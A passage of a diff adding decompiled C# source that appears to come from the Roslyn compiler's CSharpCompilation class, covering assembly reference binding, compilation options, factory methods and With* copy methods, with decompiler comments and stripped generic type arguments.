foreach (MissingAssemblySymbol value in missingAssemblies.Values) + { + value.SetCorLibrary(corLibrary); + } + } + + private static void UpdateSymbolCacheNoLock(List newSymbols, ImmutableArray> assemblies, BoundInputAssembly[] bindingResult) + { + foreach (int newSymbol in newSymbols) + { + ref BoundInputAssembly reference = ref bindingResult[newSymbol]; + if (assemblies[newSymbol] is AssemblyDataForCompilation assemblyDataForCompilation) + { + ((Compilation)assemblyDataForCompilation.Compilation).CacheRetargetingAssemblySymbolNoLock((IAssemblySymbolInternal)(object)reference.AssemblySymbol); + } + else + { + ((AssemblyDataForFile)(object)assemblies[newSymbol]).CachedSymbols.Add((IAssemblySymbolInternal)(object)(PEAssemblySymbol)reference.AssemblySymbol); + } + } + } + + private static void SetupReferencesForRetargetingAssembly(BoundInputAssembly[] bindingResult, ref BoundInputAssembly currentBindingResult, ref Dictionary? missingAssemblies, Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol sourceAssemblyDebugOnly) + { + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Unknown result type (might be due to invalid IL or missing references) + RetargetingAssemblySymbol retargetingAssemblySymbol = (RetargetingAssemblySymbol)currentBindingResult.AssemblySymbol; + ImmutableArray modules = retargetingAssemblySymbol.Modules; + int length = modules.Length; + int num = 0; + for (int i = 0; i < length; i++) + { + ImmutableArray immutableArray = retargetingAssemblySymbol.UnderlyingAssembly.Modules[i].GetReferencedAssemblies(); + if (i == 0) + { + ImmutableArray referencedAssemblySymbols = retargetingAssemblySymbol.UnderlyingAssembly.Modules[0].GetReferencedAssemblySymbols(); + int num2 = 0; + ImmutableArray.Enumerator enumerator = referencedAssemblySymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.IsLinked) + { + num2++; + } + } + if (num2 > 0) + { + AssemblyIdentity[] array = (AssemblyIdentity[])(object)new AssemblyIdentity[immutableArray.Length - num2]; + int num3 = 0; + for (int j = 0; j < referencedAssemblySymbols.Length; j++) + { + if (!referencedAssemblySymbols[j].IsLinked) + { + array[num3] = immutableArray[j]; + num3++; + } + } + immutableArray = ImmutableArrayExtensions.AsImmutableOrNull(array); + } + } + int length2 = immutableArray.Length; + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol[] array2 = new Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol[length2]; + ArrayBuilder> unifiedAssemblies = null; + for (int k = 0; k < length2; k++) + { + AssemblyReferenceBinding referenceBinding = currentBindingResult.ReferenceBinding[num + k]; + if (referenceBinding.IsBound) + { + array2[k] = GetAssemblyDefinitionSymbol(bindingResult, referenceBinding, ref unifiedAssemblies); + } + else + { + array2[k] = GetOrAddMissingAssemblySymbol(immutableArray[k], ref missingAssemblies); + } + } + ModuleReferences moduleReferences = new ModuleReferences(immutableArray, ImmutableArrayExtensions.AsImmutableOrNull(array2), ImmutableArrayExtensions.AsImmutableOrEmpty>((IEnumerable>)unifiedAssemblies)); + modules[i].SetReferences(moduleReferences, sourceAssemblyDebugOnly); + num += length2; + } + } + + private static void SetupReferencesForFileAssembly(AssemblyDataForFile fileData, BoundInputAssembly[] bindingResult, ref BoundInputAssembly currentBindingResult, ref Dictionary? missingAssemblies, Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol sourceAssemblyDebugOnly) + { + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray modules = ((PEAssemblySymbol)currentBindingResult.AssemblySymbol).Modules; + int length = modules.Length; + int num = 0; + for (int i = 0; i < length; i++) + { + int num2 = fileData.Assembly.ModuleReferenceCounts[i]; + AssemblyIdentity[] array = (AssemblyIdentity[])(object)new AssemblyIdentity[num2]; + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol[] array2 = new Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol[num2]; + ((AssemblyData)(object)fileData).AssemblyReferences.CopyTo(num, array, 0, num2); + ArrayBuilder> unifiedAssemblies = null; + for (int j = 0; j < num2; j++) + { + AssemblyReferenceBinding referenceBinding = currentBindingResult.ReferenceBinding[num + j]; + if (referenceBinding.IsBound) + { + array2[j] = GetAssemblyDefinitionSymbol(bindingResult, referenceBinding, ref unifiedAssemblies); + } + else + { + array2[j] = GetOrAddMissingAssemblySymbol(array[j], ref missingAssemblies); + } + } + ModuleReferences moduleReferences = new ModuleReferences(ImmutableArrayExtensions.AsImmutableOrNull(array), ImmutableArrayExtensions.AsImmutableOrNull(array2), ImmutableArrayExtensions.AsImmutableOrEmpty>((IEnumerable>)unifiedAssemblies)); + modules[i].SetReferences(moduleReferences, sourceAssemblyDebugOnly); + num += num2; + } + } + + private static void SetupReferencesForSourceAssembly(Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol sourceAssembly, ImmutableArray modules, int totalReferencedAssemblyCount, BoundInputAssembly[] bindingResult, ref Dictionary? missingAssemblies, out ImmutableArray> moduleReferences) + { + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray modules2 = sourceAssembly.Modules; + ArrayBuilder> val = ((modules2.Length > 1) ? ArrayBuilder>.GetInstance() : null); + int num = 0; + for (int i = 0; i < modules2.Length; i++) + { + int num2 = ((i == 0) ? totalReferencedAssemblyCount : modules[i - 1].ReferencedAssemblies.Length); + AssemblyIdentity[] array = (AssemblyIdentity[])(object)new AssemblyIdentity[num2]; + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol[] array2 = new Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol[num2]; + ArrayBuilder> unifiedAssemblies = null; + for (int j = 0; j < num2; j++) + { + AssemblyReferenceBinding referenceBinding = bindingResult[0].ReferenceBinding[num + j]; + if (referenceBinding.IsBound) + { + array2[j] = GetAssemblyDefinitionSymbol(bindingResult, referenceBinding, ref unifiedAssemblies); + } + else + { + array2[j] = GetOrAddMissingAssemblySymbol(referenceBinding.ReferenceIdentity, ref missingAssemblies); + } + array[j] = referenceBinding.ReferenceIdentity; + } + ModuleReferences val2 = new ModuleReferences(ImmutableArrayExtensions.AsImmutableOrNull(array), ImmutableArrayExtensions.AsImmutableOrNull(array2), ImmutableArrayExtensions.AsImmutableOrEmpty>((IEnumerable>)unifiedAssemblies)); + if (i > 0) + { + val.Add(val2); + } + modules2[i].SetReferences(val2, sourceAssembly); + num += num2; + } + moduleReferences = ArrayBuilderExtensions.ToImmutableOrEmptyAndFree>(val); + } + + private static Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol GetAssemblyDefinitionSymbol(BoundInputAssembly[] bindingResult, AssemblyReferenceBinding referenceBinding, ref ArrayBuilder>? unifiedAssemblies) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol assemblySymbol = bindingResult[referenceBinding.DefinitionIndex].AssemblySymbol; + if (referenceBinding.VersionDifference != 0) + { + if (unifiedAssemblies == null) + { + unifiedAssemblies = new ArrayBuilder>(); + } + unifiedAssemblies.Add(new UnifiedAssembly(assemblySymbol, referenceBinding.ReferenceIdentity)); + } + return assemblySymbol; + } + + private static MissingAssemblySymbol GetOrAddMissingAssemblySymbol(AssemblyIdentity assemblyIdentity, ref Dictionary? missingAssemblies) + { + MissingAssemblySymbol value; + if (missingAssemblies == null) + { + missingAssemblies = new Dictionary(); + } + else if (missingAssemblies.TryGetValue(assemblyIdentity, out value)) + { + return value; + } + value = new MissingAssemblySymbol(assemblyIdentity); + missingAssemblies.Add(assemblyIdentity, value); + return value; + } + + internal static bool IsSourceAssemblySymbolCreated(CSharpCompilation compilation) + { + return (object)compilation._lazyAssemblySymbol != null; + } + + internal static bool IsReferenceManagerInitialized(CSharpCompilation compilation) + { + return ((CommonReferenceManager)(object)compilation._referenceManager).IsBound; + } + } + + private readonly CSharpCompilationOptions _options; + + private readonly Lazy _usingsFromOptions; + + private readonly Lazy> _globalImports; + + private readonly Lazy _previousSubmissionImports; + + private readonly Lazy _globalNamespaceAlias; + + private readonly Lazy _scriptClass; + + private Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol? _lazyHostObjectTypeSymbol; + + private ConcurrentDictionary>? _lazyImportInfos; + + private ImmutableArray _lazyClsComplianceDiagnostics; + + private ImmutableArray _lazyClsComplianceDependencies; + + private Conversions? _conversions; + + private readonly AnonymousTypeManager _anonymousTypeManager; + + private Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol? _lazyGlobalNamespace; + + internal readonly BuiltInOperators builtInOperators; + + private Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol? _lazyAssemblySymbol; + + private ReferenceManager _referenceManager; + + private readonly SyntaxAndDeclarationManager _syntaxAndDeclarations; + + private EntryPoint? _lazyEntryPoint; + + private ThreeState _lazyEmitNullablePublicOnly; + + private HashSet? _lazyCompilationUnitCompletedTrees; + + private ImmutableHashSet? _usageOfUsingsRecordedInTrees = ImmutableHashSet.Empty; + + internal object? TestOnlyCompilationData; + + private readonly ConcurrentCache _typeToNullableVersion = new ConcurrentCache(100); + + private ImmutableSegmentedDictionary> _mappedPathToSyntaxTree; + + private static readonly CSharpCompilationOptions s_defaultOptions = new CSharpCompilationOptions((OutputKind)0, reportSuppressedDiagnostics: false, null, null, null, null, (OptimizationLevel)0, checkOverflow: false, allowUnsafe: false, null, null, default(ImmutableArray), null, (Platform)0, (ReportDiagnostic)0, 4, null, concurrentBuild: true, deterministic: false, null, null, null, null, null, publicSign: false, (MetadataImportOptions)0, (NullableContextOptions)0); + + private static readonly CSharpCompilationOptions s_defaultSubmissionOptions = new CSharpCompilationOptions((OutputKind)2, reportSuppressedDiagnostics: false, null, null, null, null, (OptimizationLevel)0, checkOverflow: false, allowUnsafe: false, null, null, default(ImmutableArray), null, (Platform)0, (ReportDiagnostic)0, 4, null, concurrentBuild: true, deterministic: false, null, null, null, null, null, publicSign: false, (MetadataImportOptions)0, (NullableContextOptions)0).WithReferencesSupersedeLowerVersions(value: true); + + private ConcurrentDictionary? _externAliasTargets; + + private ConcurrentSet? _moduleInitializerMethods; + + private ConcurrentDictionary<(string FilePath, int Line, int Character), OneOrMany<(Location AttributeLocation, Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol Interceptor)>>? _interceptions; + + private WeakReference[]? _binderFactories; + + private WeakReference[]? _ignoreAccessibilityBinderFactories; + + private DiagnosticBag? _lazyDeclarationDiagnostics; + + private bool _declarationDiagnosticsFrozen; + + private readonly DiagnosticBag _additionalCodegenWarnings = new DiagnosticBag(); + + private ConcurrentSet? _lazyUsedAssemblyReferences; + + private bool _usedAssemblyReferencesFrozen; + + internal readonly WellKnownMembersSignatureComparer WellKnownMemberSignatureComparer; + + private Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol?[]? _lazyWellKnownTypes; + + private Symbol?[]? _lazyWellKnownTypeMembers; + + private bool _usesNullableAttributes; + + private int _needsGeneratedAttributes; + + private bool _needsGeneratedAttributes_IsFrozen; + + internal Conversions Conversions + { + get + { + if (_conversions == null) + { + Interlocked.CompareExchange(ref _conversions, new BuckStopsHereBinder(this, null).Conversions, null); + } + return _conversions; + } + } + + internal ImmutableHashSet? UsageOfUsingsRecordedInTrees => Volatile.Read(in _usageOfUsingsRecordedInTrees); + + public override string Language => "C#"; + + public override bool IsCaseSensitive => true; + + public CSharpCompilationOptions Options => _options; + + internal AnonymousTypeManager AnonymousTypeManager => _anonymousTypeManager; + + internal override CommonAnonymousTypeManager CommonAnonymousTypeManager => (CommonAnonymousTypeManager)(object)AnonymousTypeManager; + + internal bool FeatureStrictEnabled => ((Compilation)this).Feature("strict") != null; + + internal bool IsPeVerifyCompatEnabled + { + get + { + if (LanguageVersion >= LanguageVersion.CSharp7_2) + { + return ((Compilation)this).Feature("peverify-compat") != null; + } + return true; + } + } + + internal bool FeatureDisableLengthBasedSwitch => ((Compilation)this).Feature("disable-length-based-switch") != null; + + internal bool IsNullableAnalysisEnabledAlways => GetNullableAnalysisValue() == true; + + public LanguageVersion LanguageVersion { get; } + + public CSharpScriptCompilationInfo? ScriptCompilationInfo { get; } + + internal override ScriptCompilationInfo? CommonScriptCompilationInfo => (ScriptCompilationInfo?)(object)ScriptCompilationInfo; + + internal CSharpCompilation? PreviousSubmission => ScriptCompilationInfo?.PreviousScriptCompilation; + + public ImmutableArray SyntaxTrees => _syntaxAndDeclarations.GetLazyState().SyntaxTrees; + + public override ImmutableArray DirectiveReferences => ((CommonReferenceManager)(object)GetBoundReferenceManager()).DirectiveReferences; + + internal override IDictionary<(string path, string content), MetadataReference> ReferenceDirectiveMap => ((CommonReferenceManager)(object)GetBoundReferenceManager()).ReferenceDirectiveMap; + + internal IEnumerable ExternAliases => ((CommonReferenceManager)(object)GetBoundReferenceManager()).ExternAliases; + + public override IEnumerable ReferencedAssemblyNames => Assembly.Modules.SelectMany((Microsoft.CodeAnalysis.CSharp.Symbols.ModuleSymbol module) => module.GetReferencedAssemblies()); + + internal override IEnumerable ReferenceDirectives => Declarations.ReferenceDirectives; + + internal Microsoft.CodeAnalysis.CSharp.Symbols.SourceAssemblySymbol SourceAssembly + { + get + { + GetBoundReferenceManager(); + return _lazyAssemblySymbol; + } + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol Assembly => SourceAssembly; + + internal Microsoft.CodeAnalysis.CSharp.Symbols.ModuleSymbol SourceModule => Assembly.Modules[0]; + + internal Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol GlobalNamespace + { + get + { + if ((object)_lazyGlobalNamespace == null) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetAllUnaliasedModules(instance); + Microsoft.CodeAnalysis.CSharp.Symbols.NamespaceSymbol value = MergedNamespaceSymbol.Create(new NamespaceExtent(this), null, instance.SelectDistinct((Func)((Microsoft.CodeAnalysis.CSharp.Symbols.ModuleSymbol m) => m.GlobalNamespace))); + instance.Free(); + Interlocked.CompareExchange(ref _lazyGlobalNamespace, value, null); + } + return _lazyGlobalNamespace; + } + } + + internal Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol? ScriptClass => _scriptClass.Value; + + internal ImmutableArray GlobalImports => _globalImports.Value; + + private UsingsFromOptionsAndDiagnostics UsingsFromOptions => _usingsFromOptions.Value; + + internal Microsoft.CodeAnalysis.CSharp.Symbols.AliasSymbol GlobalNamespaceAlias => _globalNamespaceAlias.Value; + + protected override ITypeSymbol? CommonScriptGlobalsType => GetHostObjectTypeSymbol()?.GetPublicSymbol(); + + internal Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol DynamicType => Microsoft.CodeAnalysis.CSharp.Symbols.AssemblySymbol.DynamicType; + + internal Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol ObjectType => Assembly.ObjectType; + + internal bool DeclaresTheObjectClass => SourceAssembly.DeclaresTheObjectClass; + + internal override CommonMessageProvider MessageProvider => ((CommonSyntaxAndDeclarationManager)_syntaxAndDeclarations).MessageProvider; + + internal DiagnosticBag DeclarationDiagnostics + { + get + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Expected O, but got Unknown + if (_lazyDeclarationDiagnostics == null) + { + DiagnosticBag value = new DiagnosticBag(); + Interlocked.CompareExchange(ref _lazyDeclarationDiagnostics, value, null); + } + return _lazyDeclarationDiagnostics; + } + } + + internal DiagnosticBag AdditionalCodegenWarnings => _additionalCodegenWarnings; + + internal DeclarationTable Declarations => _syntaxAndDeclarations.GetLazyState().DeclarationTable; + + internal MergedNamespaceDeclaration MergedRootDeclaration => Declarations.GetMergedRoot(this); + + internal override byte LinkerMajorVersion => 48; + + internal override bool IsDelaySigned => SourceAssembly.IsDelaySigned; + + internal override StrongNameKeys StrongNameKeys => SourceAssembly.StrongNameKeys; + + internal override Guid DebugSourceDocumentLanguageId => DebugSourceDocument.CorSymLanguageTypeCSharp; + + protected override IAssemblySymbol CommonAssembly => Assembly.GetPublicSymbol(); + + protected override INamespaceSymbol CommonGlobalNamespace => GlobalNamespace.GetPublicSymbol(); + + protected override CompilationOptions CommonOptions => (CompilationOptions)(object)_options; + + protected internal override ImmutableArray CommonSyntaxTrees => SyntaxTrees; + + protected override IModuleSymbol CommonSourceModule => SourceModule.GetPublicSymbol(); + + protected override INamedTypeSymbol? CommonScriptClass => ScriptClass.GetPublicSymbol(); + + protected override ITypeSymbol CommonDynamicType => DynamicType.GetPublicSymbol(); + + protected override INamedTypeSymbol CommonObjectType => ObjectType.GetPublicSymbol(); + + internal bool EmitNullablePublicOnly + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + if (!ThreeStateHelpers.HasValue(_lazyEmitNullablePublicOnly)) + { + SyntaxTree? obj = SyntaxTrees.FirstOrDefault(); + int num; + if (obj == null) + { + num = 0; + } + else + { + ParseOptions options = obj.Options; + num = ((((options == null) ? ((bool?)null) : options.Features?.ContainsKey("nullablePublicOnly")) == true) ? 1 : 0); + } + bool flag = (byte)num != 0; + _lazyEmitNullablePublicOnly = ThreeStateHelpers.ToThreeState(flag); + } + return ThreeStateHelpers.Value(_lazyEmitNullablePublicOnly); + } + } + + internal bool EnableEnumArrayBlockInitialization + { + get + { + Symbol wellKnownTypeMember = GetWellKnownTypeMember((WellKnownMember)307); + if (wellKnownTypeMember != null) + { + return wellKnownTypeMember.ContainingAssembly == Assembly.CorLibrary; + } + return false; + } + } + + internal bool IsNullableAnalysisEnabledIn(SyntaxNode syntax) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return IsNullableAnalysisEnabledIn((CSharpSyntaxTree)(object)syntax.SyntaxTree, syntax.Span); + } + + internal bool IsNullableAnalysisEnabledIn(CSharpSyntaxTree tree, TextSpan span) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Invalid comparison between Unknown and I4 + return GetNullableAnalysisValue() ?? tree.IsNullableAnalysisEnabled(span) ?? ((((CompilationOptions)Options).NullableContextOptions & 1) > 0); + } + + internal bool IsNullableAnalysisEnabledIn(Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol method) + { + return GetNullableAnalysisValue() ?? method.IsNullableAnalysisEnabled(); + } + + private bool? GetNullableAnalysisValue() + { + string text = ((Compilation)this).Feature("run-nullable-analysis"); + if (!(text == "always")) + { + if (text == "never") + { + return false; + } + return null; + } + return true; + } + + protected override INamedTypeSymbol CommonCreateErrorTypeSymbol(INamespaceOrTypeSymbol? container, string name, int arity) + { + return new ExtendedErrorTypeSymbol(container.EnsureCSharpSymbolOrNull("container"), name, arity, null).GetPublicSymbol(); + } + + protected override INamespaceSymbol CommonCreateErrorNamespaceSymbol(INamespaceSymbol container, string name) + { + return new MissingNamespaceSymbol(container.EnsureCSharpSymbolOrNull("container"), name).GetPublicSymbol(); + } + + public static CSharpCompilation Create(string? assemblyName, IEnumerable? syntaxTrees = null, IEnumerable? references = null, CSharpCompilationOptions? options = null) + { + return Create(assemblyName, options ?? s_defaultOptions, syntaxTrees, references, null, null, null, isSubmission: false); + } + + public static CSharpCompilation CreateScriptCompilation(string assemblyName, SyntaxTree? syntaxTree = null, IEnumerable? references = null, CSharpCompilationOptions? options = null, CSharpCompilation? previousScriptCompilation = null, Type? returnType = null, Type? globalsType = null) + { + Compilation.CheckSubmissionOptions((CompilationOptions)(object)options); + Compilation.ValidateScriptCompilationParameters((Compilation)(object)previousScriptCompilation, returnType, ref globalsType); + CSharpCompilationOptions options2 = options?.WithReferencesSupersedeLowerVersions(value: true) ?? s_defaultSubmissionOptions; + IEnumerable syntaxTrees; + if (syntaxTree == null) + { + syntaxTrees = SpecializedCollections.EmptyEnumerable(); + } + else + { + IEnumerable enumerable = (IEnumerable)(object)new SyntaxTree[1] { syntaxTree }; + syntaxTrees = enumerable; + } + return Create(assemblyName, options2, syntaxTrees, references, previousScriptCompilation, returnType, globalsType, isSubmission: true); + } + + private static CSharpCompilation Create(string? assemblyName, CSharpCompilationOptions options, IEnumerable? syntaxTrees, IEnumerable? references, CSharpCompilation? previousSubmission, Type? returnType, Type? hostObjectType, bool isSubmission) + { + ImmutableArray references2 = Compilation.ValidateReferences(references); + CSharpCompilation cSharpCompilation = new CSharpCompilation(assemblyName, options, references2, previousSubmission, returnType, hostObjectType, isSubmission, null, reuseReferenceManager: false, new SyntaxAndDeclarationManager(ImmutableArray.Empty, ((CompilationOptions)options).ScriptClassName, ((CompilationOptions)options).SourceReferenceResolver, (CommonMessageProvider)(object)Microsoft.CodeAnalysis.CSharp.MessageProvider.Instance, isSubmission, null), null); + if (syntaxTrees != null) + { + cSharpCompilation = cSharpCompilation.AddSyntaxTrees(syntaxTrees); + } + return cSharpCompilation; + } + + private CSharpCompilation(string? assemblyName, CSharpCompilationOptions options, ImmutableArray references, CSharpCompilation? previousSubmission, Type? submissionReturnType, Type? hostObjectType, bool isSubmission, ReferenceManager? referenceManager, bool reuseReferenceManager, SyntaxAndDeclarationManager syntaxAndDeclarations, SemanticModelProvider? semanticModelProvider, AsyncQueue? eventQueue = null) + : this(assemblyName, options, references, previousSubmission, submissionReturnType, hostObjectType, isSubmission, referenceManager, reuseReferenceManager, syntaxAndDeclarations, Compilation.SyntaxTreeCommonFeatures((IEnumerable)((CommonSyntaxAndDeclarationManager)syntaxAndDeclarations).ExternalSyntaxTrees), semanticModelProvider, eventQueue) + { + } + + private CSharpCompilation(string? assemblyName, CSharpCompilationOptions options, ImmutableArray references, CSharpCompilation? previousSubmission, Type? submissionReturnType, Type? hostObjectType, bool isSubmission, ReferenceManager? referenceManager, bool reuseReferenceManager, SyntaxAndDeclarationManager syntaxAndDeclarations, IReadOnlyDictionary features, SemanticModelProvider? semanticModelProvider, AsyncQueue? eventQueue = null) + : base(assemblyName, references, features, isSubmission, semanticModelProvider, eventQueue) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Expected O, but got Unknown + //IL_0156: Unknown result type (might be due to invalid IL or missing references) + //IL_0160: Expected O, but got Unknown + WellKnownMemberSignatureComparer = new WellKnownMembersSignatureComparer(this); + _options = options; + builtInOperators = new BuiltInOperators(this); + _scriptClass = new Lazy(BindScriptClass); + _globalImports = new Lazy>(BindGlobalImports); + _usingsFromOptions = new Lazy(BindUsingsFromOptions); + _previousSubmissionImports = new Lazy(ExpandPreviousSubmissionImports); + _globalNamespaceAlias = new Lazy(CreateGlobalNamespaceAlias); + _anonymousTypeManager = new AnonymousTypeManager(this); + LanguageVersion = CommonLanguageVersion(((CommonSyntaxAndDeclarationManager)syntaxAndDeclarations).ExternalSyntaxTrees); + if (isSubmission) + { + ScriptCompilationInfo = new CSharpScriptCompilationInfo(previousSubmission, submissionReturnType, hostObjectType); + } + if (reuseReferenceManager) + { + if (referenceManager == null) + { + throw new ArgumentNullException("referenceManager"); + } + _referenceManager = referenceManager; + } + else + { + _referenceManager = new ReferenceManager(((Compilation)this).MakeSourceAssemblySimpleName(), ((CompilationOptions)Options).AssemblyIdentityComparer, ((CommonReferenceManager)(object)referenceManager)?.ObservedMetadata); + } + _syntaxAndDeclarations = syntaxAndDeclarations; + if (((Compilation)this).EventQueue != null) + { + ((Compilation)this).EventQueue.TryEnqueue((CompilationEvent)new CompilationStartedEvent((Compilation)(object)this)); + } + } + + internal override void ValidateDebugEntryPoint(IMethodSymbol debugEntryPoint, DiagnosticBag diagnostics) + { + Microsoft.CodeAnalysis.CSharp.Symbols.MethodSymbol methodSymbol = (debugEntryPoint as Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.MethodSymbol)?.UnderlyingMethodSymbol; + if (methodSymbol?.DeclaringCompilation != this || !methodSymbol.IsDefinition) + { + diagnostics.Add(ErrorCode.ERR_DebugEntryPointNotSourceMethodDefinition, Location.None); + } + } + + private static LanguageVersion CommonLanguageVersion(ImmutableArray syntaxTrees) + { + LanguageVersion? languageVersion = null; + ImmutableArray.Enumerator enumerator = syntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + LanguageVersion languageVersion2 = ((CSharpParseOptions)(object)enumerator.Current.Options).LanguageVersion; + if (!languageVersion.HasValue) + { + languageVersion = languageVersion2; + } + else if (languageVersion != languageVersion2) + { + throw new ArgumentException(CodeAnalysisResources.InconsistentLanguageVersions, "syntaxTrees"); + } + } + return languageVersion ?? LanguageVersion.Default.MapSpecifiedToEffectiveVersion(); + } + + public CSharpCompilation Clone() + { + return new CSharpCompilation(((Compilation)this).AssemblyName, _options, ((Compilation)this).ExternalReferences, PreviousSubmission, ((Compilation)this).SubmissionReturnType, ((Compilation)this).HostObjectType, ((Compilation)this).IsSubmission, _referenceManager, reuseReferenceManager: true, _syntaxAndDeclarations, ((Compilation)this).SemanticModelProvider); + } + + private CSharpCompilation Update(ReferenceManager referenceManager, bool reuseReferenceManager, SyntaxAndDeclarationManager syntaxAndDeclarations) + { + return new CSharpCompilation(((Compilation)this).AssemblyName, _options, ((Compilation)this).ExternalReferences, PreviousSubmission, ((Compilation)this).SubmissionReturnType, ((Compilation)this).HostObjectType, ((Compilation)this).IsSubmission, referenceManager, reuseReferenceManager, syntaxAndDeclarations, ((Compilation)this).SemanticModelProvider); + } + + public CSharpCompilation WithAssemblyName(string? assemblyName) + { + return new CSharpCompilation(assemblyName, _options, ((Compilation)this).ExternalReferences, PreviousSubmission, ((Compilation)this).SubmissionReturnType, ((Compilation)this).HostObjectType, ((Compilation)this).IsSubmission, _referenceManager, assemblyName == ((Compilation)this).AssemblyName, _syntaxAndDeclarations, ((Compilation)this).SemanticModelProvider); + } + + public CSharpCompilation WithReferences(IEnumerable? references) + { + return new CSharpCompilation(((Compilation)this).AssemblyName, _options, Compilation.ValidateReferences(references), PreviousSubmission, ((Compilation)this).SubmissionReturnType, ((Compilation)this).HostObjectType, ((Compilation)this).IsSubmission, null, reuseReferenceManager: false, _syntaxAndDeclarations, ((Compilation)this).SemanticModelProvider); + } + + public CSharpCompilation WithReferences(params MetadataReference[] references) + { + return WithReferences((IEnumerable?)references); + } + + public CSharpCompilation WithOptions(CSharpCompilationOptions options) + { + CSharpCompilationOptions options2 = Options; + bool reuseReferenceManager = ((CompilationOptions)options2).CanReuseCompilationReferenceManager((CompilationOptions)(object)options); + bool flag = ((CompilationOptions)options2).ScriptClassName == ((CompilationOptions)options).ScriptClassName && ((CompilationOptions)options2).SourceReferenceResolver == ((CompilationOptions)options).SourceReferenceResolver; + return new CSharpCompilation(((Compilation)this).AssemblyName, options, ((Compilation)this).ExternalReferences, PreviousSubmission, ((Compilation)this).SubmissionReturnType, ((Compilation)this).HostObjectType, ((Compilation)this).IsSubmission, _referenceManager, reuseReferenceManager, flag ? _syntaxAndDeclarations : new SyntaxAndDeclarationManager(((CommonSyntaxAndDeclarationManager)_syntaxAndDeclarations).ExternalSyntaxTrees, ((CompilationOptions)options).ScriptClassName, ((CompilationOptions)options).SourceReferenceResolver, ((CommonSyntaxAndDeclarationManager)_syntaxAndDeclarations).MessageProvider, ((CommonSyntaxAndDeclarationManager)_syntaxAndDeclarations).IsSubmission, null), ((Compilation)this).SemanticModelProvider); + } + + public CSharpCompilation WithScriptCompilationInfo(CSharpScriptCompilationInfo? info) + { + if (info == ScriptCompilationInfo) + { + return this; + } + bool reuseReferenceManager = ScriptCompilationInfo?.PreviousScriptCompilation == info?.PreviousScriptCompilation; + return new CSharpCompilation(((Compilation)this).AssemblyName, _options, ((Compilation)this).ExternalReferences, info?.PreviousScriptCompilation, (info != null) ? ((ScriptCompilationInfo)info).ReturnTypeOpt : null, (info != null) ? ((ScriptCompilationInfo)info).GlobalsType : null, info != null, _referenceManager, reuseReferenceManager, _syntaxAndDeclarations, ((Compilation)this).SemanticModelProvider); + } + + internal override Compilation WithSemanticModelProvider(SemanticModelProvider? semanticModelProvider) + { + if (((Compilation)this).SemanticModelProvider == semanticModelProvider) + { + return (Compilation)(object)this; + } + return (Compilation)(object)new CSharpCompilation(((Compilation)this).AssemblyName, _options, ((Compilation)this).ExternalReferences, PreviousSubmission, ((Compilation)this).SubmissionReturnType, ((Compilation)this).HostObjectType, ((Compilation)this).IsSubmission, _referenceManager, reuseReferenceManager: true, _syntaxAndDeclarations, semanticModelProvider); + } + + internal override Compilation WithEventQueue(AsyncQueue? eventQueue) + { + return (Compilation)(object)new CSharpCompilation(((Compilation)this).AssemblyName, _options, ((Compilation)this).ExternalReferences, PreviousSubmission, ((Compilation)this).SubmissionReturnType, ((Compilation)this).HostObjectType, ((Compilation)this).IsSubmission, _referenceManager, reuseReferenceManager: true, _syntaxAndDeclarations, ((Compilation)this).SemanticModelProvider, eventQueue); + } + + internal override bool HasSubmissionResult() + { + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_0103: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_011d: Invalid comparison between Unknown and I4 + SyntaxTree val = ((CommonSyntaxAndDeclarationManager)_syntaxAndDeclarations).ExternalSyntaxTrees.SingleOrDefault(); + if (val == null) + { + return false; + } + 